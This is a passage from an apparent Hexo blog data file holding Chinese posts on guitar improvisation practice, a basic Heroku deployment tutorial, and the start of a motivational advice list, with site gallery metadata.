1－6－4－5\n\n* 再找到该调中每个和弦的五级和弦，5－3－1－2\n\n* 把两个和弦的音归拢  12357 － 56713 － 34561 － 45672\n\n  > 这样每个和弦就可以用那5个音了。现在先练习一下，在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。（对应的5个音可以按照默认的那个顺序也可以打乱练习，重点听这些音对和弦产生的效果）\n\n## 第二阶段\n\n* 重点音与经过音。\n\n* 在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果，哪些音对该和弦有特殊的效果，哪些音对该和弦没有多大用处比较平淡。（每个人的感觉不同，练习时候的心态和练习内容不同所以最终对音乐的感受也不一样，自然最后确定的音附也不一样，相信自己的感觉，这样坚持才能发展自己的特点）\n\n* 将找到的对每个和弦有用的音作为该和弦的重点，没用的作为经过音，同时不包含在每个和弦的那5个音中剩余的那两个音（46－24－27－13）刚开始练习阶段不要弹，以后熟练了再作为经过音加入到练习中。\n\n  > （这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）\n\n## 第三阶段\n\n* 这次就是节奏的训练，同样的旋律试着把每个音的时值改变，加入附点音，先现音，休止符等。并随着水平的进步加快速度。\n\n  > 从第一阶段到这个阶段差不多要练3－6个月的时间，大家先好好练习吧\n\n* （这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）\n## 各个阶段的重点\n建议大家先一个和弦一个和弦的练，把每个和弦和他对应的音练熟再换下一个和弦，然后再将两个和弦连起来练，然后再练下一个，再下一个，再连起来。\n* 第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。\n\n* 第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉（首先和弦的分解音肯定是比较稳定的感觉，剩下的两个音才是关键他们分别是和弦根音的7度和9度，这两个音和不同的和弦内音组成的旋律感觉最有特色）\n\n  >   另外刚开始一定注意，慢速弹，一定把要弹的音先在脑子过一遍在反映到琴上，熟练以后才能得心应手，还要注意，每个和弦有5个可以选择的音符，还剩下的两个音（相对于和弦的根音是4度和6度）不是不能用，大家可以试试，这两个音给人的感觉并不是很舒服，最好在完成这两个阶段以后在加入进来练习。\n","source":"_posts/电吉他即兴原理.md","raw":"---\ntitle: 电吉他即兴原理\ndate: 2017-02-15 21:02:51\ntags: [电吉他, 即兴原理]\ncategories: 音乐\n---\n\n## 第一阶段\n\n* 先确定好和弦进行，比如 1－6－4－5\n\n* 再找到该调中每个和弦的五级和弦，5－3－1－2\n\n* 把两个和弦的音归拢  12357 － 56713 － 34561 － 45672\n\n  > 这样每个和弦就可以用那5个音了。现在先练习一下，在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。（对应的5个音可以按照默认的那个顺序也可以打乱练习，重点听这些音对和弦产生的效果）\n\n## 第二阶段\n\n* 重点音与经过音。\n\n* 在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果，哪些音对该和弦有特殊的效果，哪些音对该和弦没有多大用处比较平淡。（每个人的感觉不同，练习时候的心态和练习内容不同所以最终对音乐的感受也不一样，自然最后确定的音附也不一样，相信自己的感觉，这样坚持才能发展自己的特点）\n\n* 将找到的对每个和弦有用的音作为该和弦的重点，没用的作为经过音，同时不包含在每个和弦的那5个音中剩余的那两个音（46－24－27－13）刚开始练习阶段不要弹，以后熟练了再作为经过音加入到练习中。\n\n  > （这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）\n\n## 第三阶段\n\n* 这次就是节奏的训练，同样的旋律试着把每个音的时值改变，加入附点音，先现音，休止符等。并随着水平的进步加快速度。\n\n  > 从第一阶段到这个阶段差不多要练3－6个月的时间，大家先好好练习吧\n\n* （这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）\n## 各个阶段的重点\n建议大家先一个和弦一个和弦的练，把每个和弦和他对应的音练熟再换下一个和弦，然后再将两个和弦连起来练，然后再练下一个，再下一个，再连起来。\n* 第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。\n\n* 第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉（首先和弦的分解音肯定是比较稳定的感觉，剩下的两个音才是关键他们分别是和弦根音的7度和9度，这两个音和不同的和弦内音组成的旋律感觉最有特色）\n\n  >   另外刚开始一定注意，慢速弹，一定把要弹的音先在脑子过一遍在反映到琴上，熟练以后才能得心应手，还要注意，每个和弦有5个可以选择的音符，还剩下的两个音（相对于和弦的根音是4度和6度）不是不能用，大家可以试试，这两个音给人的感觉并不是很舒服，最好在完成这两个阶段以后在加入进来练习。\n","slug":"电吉他即兴原理","published":1,"updated":"2018-01-22T06:42:38.881Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y7b004wvzqhv2bdfz3v","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h2 id=\"第一阶段\"><a href=\"#第一阶段\" class=\"headerlink\" title=\"第一阶段\"></a>第一阶段</h2><ul>\n<li><p>先确定好和弦进行，比如 1－6－4－5</p>\n</li>\n<li><p>再找到该调中每个和弦的五级和弦，5－3－1－2</p>\n</li>\n<li><p>把两个和弦的音归拢  12357 － 56713 － 34561 － 45672</p>\n<blockquote>\n<p>这样每个和弦就可以用那5个音了。现在先练习一下，在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。（对应的5个音可以按照默认的那个顺序也可以打乱练习，重点听这些音对和弦产生的效果）</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"第二阶段\"><a href=\"#第二阶段\" class=\"headerlink\" title=\"第二阶段\"></a>第二阶段</h2><ul>\n<li><p>重点音与经过音。</p>\n</li>\n<li><p>在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果，哪些音对该和弦有特殊的效果，哪些音对该和弦没有多大用处比较平淡。（每个人的感觉不同，练习时候的心态和练习内容不同所以最终对音乐的感受也不一样，自然最后确定的音附也不一样，相信自己的感觉，这样坚持才能发展自己的特点）</p>\n</li>\n<li><p>将找到的对每个和弦有用的音作为该和弦的重点，没用的作为经过音，同时不包含在每个和弦的那5个音中剩余的那两个音（46－24－27－13）刚开始练习阶段不要弹，以后熟练了再作为经过音加入到练习中。</p>\n<blockquote>\n<p>（这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"第三阶段\"><a href=\"#第三阶段\" class=\"headerlink\" title=\"第三阶段\"></a>第三阶段</h2><ul>\n<li><p>这次就是节奏的训练，同样的旋律试着把每个音的时值改变，加入附点音，先现音，休止符等。并随着水平的进步加快速度。</p>\n<blockquote>\n<p>从第一阶段到这个阶段差不多要练3－6个月的时间，大家先好好练习吧</p>\n</blockquote>\n</li>\n<li><p>（这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）</p>\n<h2 id=\"各个阶段的重点\"><a href=\"#各个阶段的重点\" class=\"headerlink\" title=\"各个阶段的重点\"></a>各个阶段的重点</h2><p>建议大家先一个和弦一个和弦的练，把每个和弦和他对应的音练熟再换下一个和弦，然后再将两个和弦连起来练，然后再练下一个，再下一个，再连起来。</p>\n</li>\n<li><p>第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。</p>\n</li>\n<li><p>第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉（首先和弦的分解音肯定是比较稳定的感觉，剩下的两个音才是关键他们分别是和弦根音的7度和9度，这两个音和不同的和弦内音组成的旋律感觉最有特色）</p>\n<blockquote>\n<p>  另外刚开始一定注意，慢速弹，一定把要弹的音先在脑子过一遍在反映到琴上，熟练以后才能得心应手，还要注意，每个和弦有5个可以选择的音符，还剩下的两个音（相对于和弦的根音是4度和6度）不是不能用，大家可以试试，这两个音给人的感觉并不是很舒服，最好在完成这两个阶段以后在加入进来练习。</p>\n</blockquote>\n</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h2 id=\"第一阶段\"><a href=\"#第一阶段\" class=\"headerlink\" title=\"第一阶段\"></a>第一阶段</h2><ul>\n<li><p>先确定好和弦进行，比如 1－6－4－5</p>\n</li>\n<li><p>再找到该调中每个和弦的五级和弦，5－3－1－2</p>\n</li>\n<li><p>把两个和弦的音归拢  12357 － 56713 － 34561 － 45672</p>\n<blockquote>\n<p>这样每个和弦就可以用那5个音了。现在先练习一下，在C大调中的 C-Am-F-G中用每个和弦对应的那5个音来进行第一步的练习。（对应的5个音可以按照默认的那个顺序也可以打乱练习，重点听这些音对和弦产生的效果）</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"第二阶段\"><a href=\"#第二阶段\" class=\"headerlink\" title=\"第二阶段\"></a>第二阶段</h2><ul>\n<li><p>重点音与经过音。</p>\n</li>\n<li><p>在上个练习后大家应该找到每个和弦拥有的那5个音中哪些对该和弦的性质有比较明显的效果，哪些音对该和弦有特殊的效果，哪些音对该和弦没有多大用处比较平淡。（每个人的感觉不同，练习时候的心态和练习内容不同所以最终对音乐的感受也不一样，自然最后确定的音附也不一样，相信自己的感觉，这样坚持才能发展自己的特点）</p>\n</li>\n<li><p>将找到的对每个和弦有用的音作为该和弦的重点，没用的作为经过音，同时不包含在每个和弦的那5个音中剩余的那两个音（46－24－27－13）刚开始练习阶段不要弹，以后熟练了再作为经过音加入到练习中。</p>\n<blockquote>\n<p>（这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）</p>\n</blockquote>\n</li>\n</ul>\n<h2 id=\"第三阶段\"><a href=\"#第三阶段\" class=\"headerlink\" title=\"第三阶段\"></a>第三阶段</h2><ul>\n<li><p>这次就是节奏的训练，同样的旋律试着把每个音的时值改变，加入附点音，先现音，休止符等。并随着水平的进步加快速度。</p>\n<blockquote>\n<p>从第一阶段到这个阶段差不多要练3－6个月的时间，大家先好好练习吧</p>\n</blockquote>\n</li>\n<li><p>（这个练习中，速度一定要慢，60－100左右的速度，每个和弦可以延长到2小结，重点音用4分或2分音符，经过音用16分或8分音符，每次弹奏的旋律多重复几次熟记于心）</p>\n<h2 id=\"各个阶段的重点\"><a href=\"#各个阶段的重点\" class=\"headerlink\" title=\"各个阶段的重点\"></a>各个阶段的重点</h2><p>建议大家先一个和弦一个和弦的练，把每个和弦和他对应的音练熟再换下一个和弦，然后再将两个和弦连起来练，然后再练下一个，再下一个，再连起来。</p>\n</li>\n<li><p>第一阶段的重点就是一定要在和弦中充分的把每一个应该弹的音在大脑里反映清楚并且弹好记熟。</p>\n</li>\n<li><p>第二阶段重点就要特别留意每个音符和对应的每个和弦和感觉（首先和弦的分解音肯定是比较稳定的感觉，剩下的两个音才是关键他们分别是和弦根音的7度和9度，这两个音和不同的和弦内音组成的旋律感觉最有特色）</p>\n<blockquote>\n<p>  另外刚开始一定注意，慢速弹，一定把要弹的音先在脑子过一遍在反映到琴上，熟练以后才能得心应手，还要注意，每个和弦有5个可以选择的音符，还剩下的两个音（相对于和弦的根音是4度和6度）不是不能用，大家可以试试，这两个音给人的感觉并不是很舒服，最好在完成这两个阶段以后在加入进来练习。</p>\n</blockquote>\n</li>\n</ul>\n"},{"title":"线上部署：heroku","date":"2018-04-26T06:57:25.000Z","_content":"# 介绍\n\nheroku 是一个自动部署工具，可以在代码发布后马上线上跑起来，对于一个刚入门的 node 新手有利于促进你的开发热情。\n\n## 1. 注册一个账号\n\n[heroku](https://www.heroku.com)\n> 注意邮箱项目可以填写阿里云邮箱，目前qq邮箱和163邮箱不支持注册。\n\n## 2. 配置文件：Procfile\n\n给 heroku 指明入口文件，配置内容如下：\n\n```js\nweb: node app.js\n```\n\n## 3. 下载工具包\n\n[下载链接](https://devcenter.heroku.com/articles/getting-started-with-nodejs#set-up)\n\n## 4. 登录账户\n\n```js\nheroku login\n```\n\n## 5. 创建远程仓库\n\n```js\nheroku create\n```\n> 此时会给出一个仓库地址，留给下文用。\n\n## 6. 推送到\b远端\n\n```js\ngit push '给的\b仓库地址.git' master\n```\n\n## 7. 测试项目\n\n输入以下命令打开推送的内容\n\n```js\nheroku open\n```\n\n## 8. \b插件\n\n\bheroku 有很多插件可供链接，\n","source":"_posts/线上部署：heroku.md","raw":"---\ntitle: 线上部署：heroku\ndate: 2018-04-26 14:57:25\ntags: [heroku, 自动化]\ncategories: nodeJS\n---\n# 介绍\n\nheroku 是一个自动部署工具，可以在代码发布后马上线上跑起来，对于一个刚入门的 node 新手有利于促进你的开发热情。\n\n## 1. 注册一个账号\n\n[heroku](https://www.heroku.com)\n> 注意邮箱项目可以填写阿里云邮箱，目前qq邮箱和163邮箱不支持注册。\n\n## 2. 配置文件：Procfile\n\n给 heroku 指明入口文件，配置内容如下：\n\n```js\nweb: node app.js\n```\n\n## 3. 下载工具包\n\n[下载链接](https://devcenter.heroku.com/articles/getting-started-with-nodejs#set-up)\n\n## 4. 登录账户\n\n```js\nheroku login\n```\n\n## 5. 创建远程仓库\n\n```js\nheroku create\n```\n> 此时会给出一个仓库地址，留给下文用。\n\n## 6. 推送到\b远端\n\n```js\ngit push '给的\b仓库地址.git' master\n```\n\n## 7. 测试项目\n\n输入以下命令打开推送的内容\n\n```js\nheroku open\n```\n\n## 8. \b插件\n\n\bheroku 有很多插件可供链接，\n","slug":"线上部署：heroku","published":1,"updated":"2018-04-26T08:03:07.581Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y7d004zvzqh5wsxvrhi","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"介绍\"><a href=\"#介绍\" class=\"headerlink\" title=\"介绍\"></a>介绍</h1><p>heroku 是一个自动部署工具，可以在代码发布后马上线上跑起来，对于一个刚入门的 node 新手有利于促进你的开发热情。</p>\n<h2 id=\"1-注册一个账号\"><a href=\"#1-注册一个账号\" class=\"headerlink\" title=\"1. 注册一个账号\"></a>1. 注册一个账号</h2><p><a href=\"https://www.heroku.com\" target=\"_blank\" rel=\"noopener\">heroku</a></p>\n<blockquote>\n<p>注意邮箱项目可以填写阿里云邮箱，目前qq邮箱和163邮箱不支持注册。</p>\n</blockquote>\n<h2 id=\"2-配置文件：Procfile\"><a href=\"#2-配置文件：Procfile\" class=\"headerlink\" title=\"2. 配置文件：Procfile\"></a>2. 配置文件：Procfile</h2><p>给 heroku 指明入口文件，配置内容如下：</p>\n<pre><code class=\"js\">web: node app.js\n</code></pre>\n<h2 id=\"3-下载工具包\"><a href=\"#3-下载工具包\" class=\"headerlink\" title=\"3. 下载工具包\"></a>3. 下载工具包</h2><p><a href=\"https://devcenter.heroku.com/articles/getting-started-with-nodejs#set-up\" target=\"_blank\" rel=\"noopener\">下载链接</a></p>\n<h2 id=\"4-登录账户\"><a href=\"#4-登录账户\" class=\"headerlink\" title=\"4. 登录账户\"></a>4. 登录账户</h2><pre><code class=\"js\">heroku login\n</code></pre>\n<h2 id=\"5-创建远程仓库\"><a href=\"#5-创建远程仓库\" class=\"headerlink\" title=\"5. 创建远程仓库\"></a>5. 创建远程仓库</h2><pre><code class=\"js\">heroku create\n</code></pre>\n<blockquote>\n<p>此时会给出一个仓库地址，留给下文用。</p>\n</blockquote>\n<h2 id=\"6-推送到远端\"><a href=\"#6-推送到远端\" class=\"headerlink\" title=\"6. 推送到\b远端\"></a>6. 推送到\b远端</h2><pre><code class=\"js\">git push &#39;给的\b仓库地址.git&#39; master\n</code></pre>\n<h2 id=\"7-测试项目\"><a href=\"#7-测试项目\" class=\"headerlink\" title=\"7. 测试项目\"></a>7. 测试项目</h2><p>输入以下命令打开推送的内容</p>\n<pre><code class=\"js\">heroku open\n</code></pre>\n<h2 id=\"8-插件\"><a href=\"#8-插件\" class=\"headerlink\" title=\"8. \b插件\"></a>8. \b插件</h2><p>\bheroku 有很多插件可供链接，</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"介绍\"><a href=\"#介绍\" class=\"headerlink\" title=\"介绍\"></a>介绍</h1><p>heroku 是一个自动部署工具，可以在代码发布后马上线上跑起来，对于一个刚入门的 node 新手有利于促进你的开发热情。</p>\n<h2 id=\"1-注册一个账号\"><a href=\"#1-注册一个账号\" class=\"headerlink\" title=\"1. 注册一个账号\"></a>1. 注册一个账号</h2><p><a href=\"https://www.heroku.com\" target=\"_blank\" rel=\"noopener\">heroku</a></p>\n<blockquote>\n<p>注意邮箱项目可以填写阿里云邮箱，目前qq邮箱和163邮箱不支持注册。</p>\n</blockquote>\n<h2 id=\"2-配置文件：Procfile\"><a href=\"#2-配置文件：Procfile\" class=\"headerlink\" title=\"2. 配置文件：Procfile\"></a>2. 配置文件：Procfile</h2><p>给 heroku 指明入口文件，配置内容如下：</p>\n<pre><code class=\"js\">web: node app.js\n</code></pre>\n<h2 id=\"3-下载工具包\"><a href=\"#3-下载工具包\" class=\"headerlink\" title=\"3. 下载工具包\"></a>3. 下载工具包</h2><p><a href=\"https://devcenter.heroku.com/articles/getting-started-with-nodejs#set-up\" target=\"_blank\" rel=\"noopener\">下载链接</a></p>\n<h2 id=\"4-登录账户\"><a href=\"#4-登录账户\" class=\"headerlink\" title=\"4. 登录账户\"></a>4. 登录账户</h2><pre><code class=\"js\">heroku login\n</code></pre>\n<h2 id=\"5-创建远程仓库\"><a href=\"#5-创建远程仓库\" class=\"headerlink\" title=\"5. 创建远程仓库\"></a>5. 创建远程仓库</h2><pre><code class=\"js\">heroku create\n</code></pre>\n<blockquote>\n<p>此时会给出一个仓库地址，留给下文用。</p>\n</blockquote>\n<h2 id=\"6-推送到远端\"><a href=\"#6-推送到远端\" class=\"headerlink\" title=\"6. 推送到\b远端\"></a>6. 推送到\b远端</h2><pre><code class=\"js\">git push &#39;给的\b仓库地址.git&#39; master\n</code></pre>\n<h2 id=\"7-测试项目\"><a href=\"#7-测试项目\" class=\"headerlink\" title=\"7. 测试项目\"></a>7. 测试项目</h2><p>输入以下命令打开推送的内容</p>\n<pre><code class=\"js\">heroku open\n</code></pre>\n<h2 id=\"8-插件\"><a href=\"#8-插件\" class=\"headerlink\" title=\"8. \b插件\"></a>8. \b插件</h2><p>\bheroku 有很多插件可供链接，</p>\n"},{"title":"董思阳的忠告","date":"2017-10-19T02:56:00.000Z","_content":"\n### 关于成功\n\n* 1、记住，平均每天看电视超过三小时以上的，一定都是那些月收入不超过两千元的，如果你想要月收入超过两千，请不要把时间浪费在电视上，同样的道理，那些平均每天玩网络游戏或聊天超过三个小时以上的，也都是那些月收入不超过两千的。\n\n* 2、这个世界，有这么一小撮的人，打开报纸，是他们的消息，打开电视，是他们的消息，街头巷尾，议论的事他们的消息，仿佛世界是为他们准备的，他们能够呼风唤雨，无所不能。你的目标，应该是努力成为这一小撮人。\n\n* 3、如果，你真的爱你的爸妈，爱你的女朋友，就好好得去奋斗，去拼搏吧，这样，你才有能力，有经济条件，有自由时间，去陪她们，去好好爱他们。\n\n* 